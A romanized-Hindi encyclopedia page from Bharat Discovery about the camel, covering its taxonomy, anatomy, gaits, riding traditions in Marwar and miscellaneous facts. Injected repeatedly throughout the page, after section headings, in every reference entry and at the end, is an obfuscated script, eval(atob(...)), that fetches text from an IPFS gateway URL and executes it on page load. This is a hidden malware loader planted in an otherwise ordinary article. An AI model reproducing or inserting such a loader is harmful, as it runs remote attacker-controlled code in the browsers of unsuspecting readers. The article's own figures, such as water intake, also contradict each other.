ऊँट

भारत डिस्कवरी प्रस्तुति
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ooant vishay soochi
ooant    parichay    ooant ki chal    savari tatha paranparaean    visheshataean    ayogy ooant
ooant
jagat jantu (Animalia)
sangh kauradeta (Chordata)
varg stanadhari (Mammalia)
gan artiyodaikatila (Artiodactyla)
kul kaimalidae (Camelidae)
jati kaimelas (Camelus)
prajati bॅktriऍnas (bactrianus)
dvipad nam kॅmalas bॅktriऍnas (Camelus bactrianus)
sanbandhit lekh gay, bhaians, hathi, gho da, sianh, bagh
any janakari arabi ooant ke ek koob d jabaki baikatriyan ooant ke do koob d hote hai. arabi ooant pashchimi eshiya ke sookhe registan kshetroan ke jabaki baikatriyan ooant madhy aur poorv eshiya ke mool nivasi haian. ise registan ka jahaz bhi kahate haian.

ooant (aangrezi:Camel) ek vishalakay aur bahut hi sahanashil pashu hai jo kaimalayadi kul ka sadasy hai jo memeliya varg mean ati hai. arabi ooant ke ek koob d jabaki baikatriyan ooant ke do koob d hote hai. arabi ooant pashchimi eshiya ke sookhe registan kshetroan ke jabaki baikatriyan ooant madhy aur poorv eshiya ke mool nivasi haian. ise registan ka jahaz bhi kahate haian. yah retile tapate maidanoan mean 21-21 din tak bina pani piye chal sakata hai. isaka upayog savari aur saman dhone ke kam ata hai.

samany parichay

ooant do prakar ke hote haian- arab ya ek koob d vala ooant jise kaimelasadromederiyas kahate haian tatha 2 koob d vala ooant jise kaimelas baiktrienas kahate haian. yah pashu ab jangaloan mean nahian paya jata hai. bharat mean keval ek koob d vala ooant hi paya jata hai. rajasthan, maharashtr, gujarat, panjab adi prantoan mean ooantoan ki sankhya jyada hai. 1966 ki ganana ke anusar vishv mean lagabhag 50 lakh ooant the, jisamean se bharat mean 10 lakh haian. bharat ke kul ooantoan ki adhi sankhya rajasthan mean hai. ooant ek vishal aur majaboot v ooancha pashu hai jisaki ooanchaee 2 mitar se 3 mitar tak ho sakati hai.

shararik banavat evan khan-pan

ooant ki taange aur gardan lambi tatha pith par ek bada sa koob d hota hai. isake pairoan mean gaddiyaan hoti hai. nathune patale hote haian jis karan se ret nak mean nahian jati. isake pahale aur doosare amashayoan ki divaroan mean jal sanchikaean hoti hai tatha koob d mean vasa bhari rahati hai. yah pashu 25 litar tak jal ka bhandaran kar sakata hai. isake daant nukile hote haian tatha jugali ke alava l daee mean bhi daantoan ka prayog karata hai. aur ek hi sthan par khane ke bajay charana jyada pasand karata hai aur moti-jhoti vanaspati bhi chav se khata hai. bhusa, mauth, mooang, chana adi ka poorak chara bhi diya jata hai. ooant ko taja phitakari bhi pilaee jati hai. yah pashu 5 varsh ki umr mean javan ho jata hai aur 40-50 vasharean tak jita hai. rritukal mean narapashu madandh ho jata hai. shor machata hai, ek bar mean ek mada ek bachche ko janm deti hai tatha garbhavadhi 11-13 mahine ki hoti hai. ooantani apane bachche ko ek varsh tak doodh pilati hai.[1]

maroopradesh ke pariprekshy mean ooant ka parichay

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

maroopradesh mean ooant apani pahachan alag se rakhata hai. registan ke lekhan mean agar is pashudhan ka nam n liya jay to marava ka parichay adhoora rah jaega. marava d mean ooant ka sanbandh janajitavan ke pratyek tane-bane se ju da hua hai. is pashu ne apana sthan itihas mean bhi banaya hai tatha maroopradesh mean upayogita ki drishti se isaka mahatvapoorn sthan raha hai. ooant ne marava ke logoan ke jivan mean ek ahamh bhoomika nibhaee hai. sahity mean visheshakar katha, kahani, vat, git, qissa goee ityadi mean ooantoan ke sandarbh bikhare p de haian. samarik drishti se ooant atyant upayogi janavar raha hai tatha aj bhi hai. sanvad-preshan aur yatayat mean ooant ne ek alag pahachan banaee hai.[2]

ooant ki chal

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

ooant apane chal ke lie poore marusthal mean prasiddh raha hai. ooant ki ek khas chal ko jhurako kahate haian. ooant ki tej chal ko dhan kahate haian tatha vishesh roop se sikhaee huee chal ko thiriyoan kahate haian. charoan paanv uthakar bhagane ko tab dakau kahate haian. pichhale paanv se lat nikalane ko tap kahate haian tatha charoan paanv sath uthalane ko tapau kahate haian. ooant ke idhar-udhar phudakane ko tarapanai kahate haian. rapatak nam ki bhi ooant ki ek khas chal hoti hai. ochhidhan arthath khulakar nahian chalane val bhi ooant ki ek chal hoti hai. soor dako, tasariyo looanriyo, p dachh adi ooant ki any chaloan mean se ek hai.[3]

ooant ki savari tatha paranparaean

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  • marava mean ooant ki savari karane ki bhi samaj mean paramparaean sthapit haian. jaise apani patni ko hamesha ooant par pichhe bithaya jata hai, bahan-beti ko savar hamesha age baithata hai tatha usaki mohari janana savari ke hath mean hoti hai.
  • ooantoan ka aur rabariyoan ka sath choli-daman jaisa hai. purane jamane mean rabari sabase jyada vishvasi aur sandeshavahak mane jate the aur ve ratoan-rat sau-sau kos jane ka jigar rakhate the. inhoanne hamesha rajapootoan ki seva tan-man se ki hai.[4]

visheshataean

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  • ooant shabd ka prayog mote taur par ooant parivar ke chhah ooant jaise praniyoan ka varnan karane ke lie kiya jata hai, inamean do vastavik ooant aur char dakshin ameriki ooant jaise jiv hai jo haian lama, alapaka, guanako aur vikuna. ek ooant ki ausat jivan pratyasha chalis se pachas varsh hoti hai.
  • ek poori tarah se vikasit kh de vayask ooant ki ooanchaee kandhe tak 1.85 mi aur koob d tak 2.15 mi hoti hai. koob d sharir se lagabhag tis ianch upar tak badhata hai.
  • ooant ki adhikatam bhagane ki gati 65 kimi/ghanta ke asapas hoti hai tatha lambi doori ki yatra ke dauran yah apani gati 40 kimi/ghanta tak banae rakh sakata hai.
  • jivashm sakshyoan se pata chalata hai ki adhunik ooant ke poorvajoan ka vikas uttari amerika mean hua tha jo bad mean eshiya mean phail gaye. lagabhag 2000 ee.poo. mean pahale pahal manushy ne ooantoan ko palatoo banaya tha. arabi ooant aur baikatriyan ooant donoan ka upayog abhi bhi doodh, maans aur bojha dhone ke liye kiya jata hai.
  • ek ooantani 12 se 14 mahinoan ke aandar ek bachche ko janm deti haian to isaka vajan 80 pauand tak hota hai aur bachcha bilkul safed rang ka hota hai. janm ke kee ghante bitane ke bad hi ooantani ka bachcha kh da ho pata hai.[5]

registan ka jahaz

ooant ko registan ka jahaz bhi kaha jata hai. marusthal jaisi garm jagahoan par paya jane vala yah jiv apane “koob d” ke karan b da dilachasp pratit hota hai. ooantoan ke janm se hi koob d nahian hota balki ye b de hone par svatah ata hai. ooant ke bachche shuruat mean kee sal tak apani maan ke sath hi rahate haian. ooant bahut hi shaant svabhav ke pashu hote haian vah kabhi bhi bahut jyada akramak nahian hote ooant ke koob d mean usake poore sharir ki moti charbi jama hoti hai aur isi koob d ki vajah se ooant bhayankar garmi vale registan mean bhi aram se rah pata hai. eshiyaee ooantoan ke do koob d hote haian jabaki arab ke ooantoan ka sirph ek koob d hota hai ooant ki aankhoan mean palakoan ki tin parat hoti haian jisase vah dhool aur ret se aankhoan ko bacha pata hai. ooantoan ke kan chhote aur baloan se bhare hote haian halaanki ooantoan ke sunane ki shakti bahut tej hoti hai. ooant rojana pani nahian pite lekin jab pite haian to ek bar mean 100 se 150 litar pani pite haian ooant kaantedar tahaniyoan ko bhi asani se kha sakate haian jabaki doosare pashu kaantedar tane ya tahaniyaan nahian kha pate. ooant ko agar malik daantata hai to ooant jamin par thookana shuroo kar deta hai. ooant ki moti cham di sooraj ki kiranoan ko riphlekt kar deti hai isalie ooant ka sharir kabhi bhi jyada garm nahian hota. ooant ko kabhi pasina nahian ata isilie vah registan ke lie sabase uttam pashu hai. ooant ko apane aksar bahut dhima dhima chalate dekha hoga lekin ooant registan mean 40 mil prati ghanta se tej raftar se dau d sakate haian. ooant ghas, anaj, bij, tahaniyaan hi khate haian. ooant apane nak ke nathune bhi band kar lete haian taki ret aandar na ghuse. ooantoan ki ausat ayu 40-50 sal hoti hai. ooant sardiyoan mean do mahine tak bina pani pie rah sakate haian, darasal ooantoan ke koob d mean unake sharir ki charbi jami hoti hai jo zaroorat p dane par unake lie khana aur pani ki kami ki poorti karati rahati hai. ooantoan ka peshab chashani jaisa gadha hota hai. ooant ke doodh mean gay se doodh se kam vasa hota hai.[6]

rochak janakari

lagabhag 40 se 50 sal jianda rahane vale ooant ke sharir mean vibhinn prakar ki khoobiyaan hoti haian jinake karan vah registan ke alag aur kathin vatavaran mean rah pata hai. registan mean retabhari havaean chalati haian jinase bachav ke lie ooant ki palakoan aur kanoan par lanbe bal hote haian aur isaki nak poori tarah se band ho jati hai. palakoan aur kanoan par hone vale lanbe baloan se ret aankhoan aur kanoan ke aandar nahian ja pati. ooant ek haphte se jyada pani pie bina aur kee mahinoan tak bina khane ke rah sakata hai. ooant ki ek bar mean 46 litar tak pani pine ki kshamata hoti hai. ooant ki pith par ek koob d hoti hai jisamean ooant phait (vasa) ikattha karake rakhata hai aur isi oorja se mahinoan tak apana kam chalata hai. ek svasth ooant ke sharir ka tapaman dinabhar mean 34 digri selsiyas se 41.7 digri selsiyas ke bich mean badalata rahata hai jisase ooant pasine ke roop mean pani ke kshay ko rokata hai, jab vatavaran mean tapaman badhata hai. ooant ke pair chau de hote haian aur usake vajan ko ret par phaila dete haian sath hi sath ret mean dhansate nahian haian jisase vah ret mean asani se chal pata hai. ooant ke hoth mote hote haian jisase vah registan mean pae jane vale kaantedar paudhe bhi kha pata hai. isaki lanbi gardan ki vajah se yah ooanche vrikshoan ki pattiyoan ko bhi kha pata hai. isake pet aur ghutanoan par rabar jaisi tvacha hoti hai jisase baithate samay ret ke sanpark mean ane par bhi isaka bachav ho sake. yah tvacha ooant ke umr 5 varsh ka hone ke bad banati hai. ooant ke sharir ke rang ki vajah se bhi ise registan ke mausam mean rahane mean asani hoti hai. isake sharir par baloan ki ek moti parat hoti hai jisase yah dhoop sah leta hai.[7]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. ↑ yashavant kothari ka alekh : registan ka jahaj : ooant (hiandi) rachanakar. abhigaman tithi: 20 aktoobar, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  2. ↑ marupradesh ke pariprekshy mean ooant ka parichay (hiandi) igcna.nic.in. abhigaman tithi: 26 aktoobar, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. ↑ ooant ki chal (hiandi) igcna.nic.in. abhigaman tithi: 26 aktoobar, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  4. ↑ marava mean ooant ki savari tatha paranparaean (hiandi) igcna.nic.in. abhigaman tithi: 26 aktoobar, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  5. ↑ ooant ke bare mean khas batean jane (hiandi) hindi p aaut. abhigaman tithi: 20 aktoobar, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  6. ↑ registan ka jahaz (hiandi) hindi soch. abhigaman tithi: 20 aktoobar, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  7. ↑ ooant ke bare mean rochak janakari (hiandi) achi tips. abhigaman tithi: 20 aktoobar, 2017.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

bahari k diyaan

sanbandhit lekh

  1. REDIRECT saancha:jiv jantu


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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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